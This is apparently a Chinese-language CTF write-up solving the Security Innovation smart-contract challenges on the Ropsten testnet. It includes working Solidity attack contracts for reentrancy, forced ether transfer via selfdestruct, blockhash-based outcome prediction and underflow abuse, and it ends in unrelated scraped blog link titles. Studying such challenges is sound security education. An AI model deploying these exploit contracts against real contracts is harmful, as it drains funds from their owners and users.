赛题地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

Donation

源码解析

我们只需要用外部账户调用 withdrawDonationsFromTheSuckersWhoFellForIt() 把钱取出来,就算是挑战成功啦。本题难就难在怎么用外部账户调用合约函数。。。

解题

点一下 Hints 他就会提醒你用 MyCrypto 来完成这个挑战。我用了,太香了。完美解决了用外部账户调用合约函数的问题。

只需要进入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把内容填好 —> 选择所调用的函数 —> 成功!

Lock Box

源码分析

  1. now 参数在 0.7.0 以后被替换为 timestamp 它的返回值等于:https://www.unixtimestamp.com/
  2. pinprivatepin ,就是不公开的意思。
  3. 目的就是要你猜出 pin 的值。啊当然,猜是不可能猜的,这辈子也不可能猜的。

解题

接下来的内容,了解solidity中变量存储位置的读者可以“显然”地知道 pin 值在合约中存储的位置。不了解的读者也不要紧,我们可以进行一步推导得出他的存储位置。

将合约内容反编译:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

首先找到函数 function unlock(var arg0) ,然后在函数中找到这个判断:

if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3; if (!var0) { return; } var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}

为什么是这个 if 判断呢,因为在这个判断里面有转账语句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

然后我们看出我们输入的值是和 storage[0x01] 进行比较的,也就是说 pin 值就存放在 storage[0x01] 中。所以,我们可以利用 Web3.js 获取这个位置的值。

Web3.js 代码:

var Web3 = require('web3');
// 创建web3对象
var web3 = new Web3();
// 连接到 ropsten 测试节点
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log) // return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 转为十进制等于1970

HttpProvider 中填入你自己的 infura 链接即可。

最后,我们把得到的 1970 填入到题目中,完成解题。

Piggy Bank

解题

直接调用 CharliesPiggyBank 中的 collectFunds 函数进行取款就完成挑战了。。。

可能关键点就在于 CharliesPiggyBank 中的 collectFunds 少继承了 modifier onlyOwner() ,看看是否发现了这个漏洞。。。吧?

SI Token Sale

源码分析

  1. 虽然他调用了 SafeMath 模块,但是他没有用。诶有模块我不用,就是玩儿。
  2. 10 szabo 的交易费用(1 ether == 10^6 szabo)
  3. 结合以上两点,在 balances[msg.sender] += _value - feeAmount; 这里很可能会发生下溢出漏洞

解题

  1. 往合约打 10 wei (只要小于 10 szabo 即可),使其发生下溢出,这样我们的 balances 就会变得非常大,方便后面为所欲为。
  2. 然后调用 refundTokens(uint256 _value) 函数,_value 的值为合约余额的两倍(这里留意一下,在题目网页上显示的余额有那么一丢丢不准确,建议去 etherscan 上面查一下准确的余额)
  3. 过关~

Secure Bank

源码分析

  1. 三个合约,一层套一层,SimpleBank —> MembersBank —> SecureBank
  2. SimpleBank withdraw:要求取款不能超过账户余额
  3. MembersBank withdraw:要求取款不能超过账户余额,取款账户是 member
  4. SecureBank withdraw:要求取款不能超过账户余额,取款账户是 member,取款账户是自己

解题

我们要做的就是把创建合约的账户余额给取走。

虽然 SecureBank withdraw 是继承 MembersBank withdraw 的,但是因为的参数格式不一致(前者是uint8 _value,后者是uint256 _value),导致了 SecureBank 中会出现两个可以调用的 withdraw 函数。(这可以从 ABI 中看出,有两个 withdraw 函数。)

也就是说,可以在 SecureBank 合约中,调用 MembersBank withdraw 函数进行取款。

  1. 调用 register 函数,对创建合约的账户地址进行注册,使其成为 member
  2. 调用 MembersBank withdraw ,将创建合约的账户中的余额转走
  3. 成功

Lottery

一个猜数字的游戏,涉及到了区块号和发送者地址等

解题

  1. blockhash 函数,很有讲究,当输入的区块号为当前区块号或 256 个以前的区块号,它都返回 0。也就是说 blockhash(block.number) == 0

  2. ^ 是异或操作

  3. 也就是说,当我们要求 guess==target 的时候,只是在要求 _seed == abi.encodePacked(msg.sender)

  4. 通过下面的函数即可得到刚刚好的 _seed

    function encode(address _addr) public returns(bytes32) {
    return keccak256(abi.encodePacked(_addr));
    }

Trust Fund

看!好大个msg.sender.call.value(allowancePerYear)() !!它用 call 来转账!! 它用 call 来转账!! 重入漏洞干他!

解题

重入漏洞就不多解释了,原理搜一下即可,直接上攻击代码:

pragma solidity 0.4.24;

contract attack{
address public aimAddr; function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
} function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}

反复调用目标合约,将里面的钱全部提取出来。

注意:gas limit 要稍微设置的大一点点,不然会调用失败:out of gas。

Record Label

源码分析

  1. 代码很繁琐,整体来说就是取款的时候要按百分比分一部分给 Manager 合约
  2. 调用 withdrawFundsAndPayRoyalties 函数进行取款,取款流程跟踪函数看一下,还挺绕。。

关键点:

  1. addRoyaltyReceiver 函数中没有对添加的地址进行检测,可以添加已有的用户
  2. payoutRoyalties 函数中只对每一个 reciver 中的比例进行扣款,没有检查总的 percentRemaining

解题

查看 RecordLabel 合约的创建交易,它同时创建了另外两个合约(Manager 和 Royalties)

Royalties 合约的地址我们可以查到

所以可知 Manager 合约的地址为:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

Royalties 的 ABI 如下:

[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]

将 Royalties 合约中 (reciver == Manager) 的分钱比例设为 0

然后调用 withdrawFundsAndPayRoyalties 函数取走 1000000000000000000 wei (1 eth)即可

Slot Machine

代码分析

有一种转账方法可以在不触发 fallback 函数的情况下完成转账:合约自毁。

pragma solidity 0.4.24;

contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
} function () payable public{ }
}

解题

  1. 先转入 3.5 eth 到自毁合约中,执行自毁函数向目标合约进行转账(绕开了其fallback函数)。此时目标合约中的余额已经大于 5 eth,也就是满足 address(this).balance >= winner 这一条件。
  2. 再使用自己的账户往目标账户中转入 1 szabo ,完成攻击。

Heads or Tails

代码分析

关键点就在 entropy 和 coinFlip 两个变量上,而这两个变量都是我们可以获取到具体值的。根据题目 msg.sender.transfer(msg.value.mul(3).div(2)); 这行代码,我们转账 20 次即可把余额取完。

解题

不多bibi,直接上代码:

pragma solidity 0.4.24;

contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool; function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
} for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
} function getback() public{
msg.sender.send(this.balance);
} function () payable public{ }
}
  1. 首先把该合约加入到名单中。
  2. 然后在运行 caller 函数之前,往合约转 0.1 ether ,并且 gas limit 设置得稍微大一点点即可。
  3. 完成挑战后记得把钱取走!

Rainy Day Fund

源码分析

看到这道题的时候闪过了一下提前转账的想法,但是一想应该不能重置了再来这么蛇皮吧就打消了这个念头。没想到就是这样做的。

解题

我们需要提前计算出 DebugAuthorizer 合约的地址(可以做到),然后提前转账 1.337 ether,当这个地址被部署上合约的时候就满足条件 (address(this).balance == 1.337 ether) 。然后就可以调用 withdraw 函数把钱取走了。

首先,新的外部账户nonce从0开始,新的合约账户nonce则是从1开始。

查看合约调用链,我们可以得知 DebugAuthorizer 合约由 RainyDayFund 合约进行创建。而 RainyDayFund 合约则由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 创建。

我们知道 developer 的地址,还需要知道它创建 RainyDayFund 合约的 nonce ,这样才能计算出它下一次创建的合约地址。

var util = require('ethereumjs-util');
// 根据发送者地址和nonce求取生成的新合约的地址
// 先RLP编码,再Hash,截取Hash值的后20个字节
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2"; for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359

计算得出 developer 创建 RainyDayFund 合约的 nonce = 359 ,那么我们下一次创建的时候 nonce 就等于 360。而 RainyDayFund 合约在 nonce = 1 时创建了 DebugAuthorizer 合约。

然后就可以通过下面的代码计算出下一次部署的 DebugAuthorizer 的地址:

var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360; var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); /*
计算下一次重构所生成的合约地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/

然后往计算得出的 DebugAuthorizer 地址中转入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接调用 withdraw 函数将钱取走!

【吐槽:这道题真的很费币。。做到一半币不够了,水龙头也坏了,还得向大佬要了点币才解得了。。】

Raffle

解题

利用 blockhash 函数只能计算最近 256 个区块的哈希值,超过 256 个的区块哈希值为 0 这个特点。

合约1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

负责买票,关闭抽奖

pragma solidity ^0.4.0;

contract Raffle{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

合约2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

负责买票,领奖

pragma solidity ^0.4.0;

contract Raffle2{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

买完票以后的当前区块数:10853164,只需要耐心等待,直到区块数超过 10853164 + 256 ,再利用合约1关闭抽奖,最后利用合约2领奖。

后记

从其他博客中看到了一个关键点:

触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身

【阿菜Writeup】Security Innovation Smart Contract CTF的更多相关文章

  1. the security of smart contract- 1

    https://blog.zeppelin.solutions/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05 这个 ...

  2. the security of smart contract- 2

    出处:https://cloud.tencent.com/developer/article/1192548 深度解析Solidity的17个坑及超详细避坑指南 写的很好,好好学习 1. Re-Ent ...

  3. ethereum/EIPs-1271 smart contract

    https://github.com/PhABC/EIPs/blob/is-valid-signature/EIPS/eip-1271.md Standard Signature Validation ...

  4. Using APIs in Your Ethereum Smart Contract with Oraclize

    Homepage Coinmonks HOMEFILTER ▼BLOCKCHAIN TUTORIALSCRYPTO ECONOMYTOP READSCONTRIBUTEFORUM & JOBS ...

  5. Smart Contract - Hello World

    [编写Smart Contract] 1.包含头文件. #include <eosiolib/eosio.hpp> #include <eosiolib/print.hpp> ...

  6. Truffle Smart Contract Error: Invalid number of parameter

      I followed the tutorial of quorum with truffle: https://truffleframework.com/tutorials/building-da ...

  7. 区块链学习5:智能合约Smart contract原理及发展历程科普知识

    ☞ ░ 前往老猿Python博文目录 ░ 一.智能合约的定义 通俗来说,智能合约就是一种在计算机系统上,当一定条件满足的情况下可被自动执行的合约,智能合约体现为一段代码及其运行环境.例如银行信用卡的自 ...

  8. 【翻译】A Next-Generation Smart Contract and Decentralized Application Platform

    原文链接:https://github.com/ethereum/wiki/wiki/White-Paper 当中本聪在2009年1月启动比特币区块链时,他同时向世界引入了两种未经测试的革命性的新概念 ...

  9. smart contract 知识点

    知识点 memory vs storage vs stack storage , where all the contract state variables reside. Every contra ...

随机推荐

  1. Leetcode No.26 Remove Duplicates from Sorted Array(c++实现)

    1. 题目 1.1 英文题目 Given an integer array nums sorted in non-decreasing order, remove the duplicates in- ...

  2. LeetCode解题记录(贪心算法)(二)

    1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...

  3. win10 删除WPS提示存在wpsupdate.exe进程

    这个进程在:WIN10  任务管理器  的"详细列表"查找可能有1-2个类似的,全部关闭才能删除

  4. SQL注入:sqli-labs lesson-1 小白详解

    为什么是小白详解?因为我就是小白 SQL注入早有耳闻,今天算是真正打开这个门了,但是想要跨进去应该还是没有那么容易. 在B站上听了40分钟的网课,老实说,他讲的还不错,第一遍听不懂也正常 https: ...

  5. SpringBoot 构造器注入、Setter方法注入和Field注入对比

    0. 引入 今天在看项目代码的时候发现在依赖注入的时候使用了构造器注入,之前使用过 Field 注入和 Setter 方法注入,对构造器注入不是很了解.经过查阅资料看到,Spring 推荐使用构造器注 ...

  6. erase

    erase详细解释及原理 我们先定义一个字符串string string.erase(iterator) iterator表示要删除元素的迭代器. string.erase(it_begin,it_e ...

  7. Ubuntu Server连接Wi-Fi

    本文将介绍Ubuntu Server如何通过命令行使用wpa_supplicant连接Wi-Fi 环境 Ubuntu Server 20.04(64位) wpasupplicant 配置 1. 安装 ...

  8. css--实现一个文字少时居中,文字换行时居左的样式

    前言 最近群里的小伙伴去面试,遇到这样一个问题,面试官问:"用 css 对一行文字进行布局,当文字不够换行的时候,这行文字要居中显示,当文字出现换行的时候,这行文字要靠左显示.", ...

  9. mapGetters 的作用__为什么mapGetter前面有...(三个点是去掉{}的作用)

    参考:vuex 中关于 mapGetters 的作用 mapGetters 工具函数会将 store 中的 getter 映射到局部计算属性中.它的功能和 mapState 非常类似,我们来直接看它的 ...

  10. 【Maven实战技巧】「插件使用专题」Maven-Assembly插件实现自定义打包

    前提概要 最近我们项目越来越多了,然后我就在想如何才能把基础服务的打包方式统一起来,并且可以实现按照我们的要求来生成,通过研究,我们通过使用maven的assembly插件完美的实现了该需求,爽爆了有 ...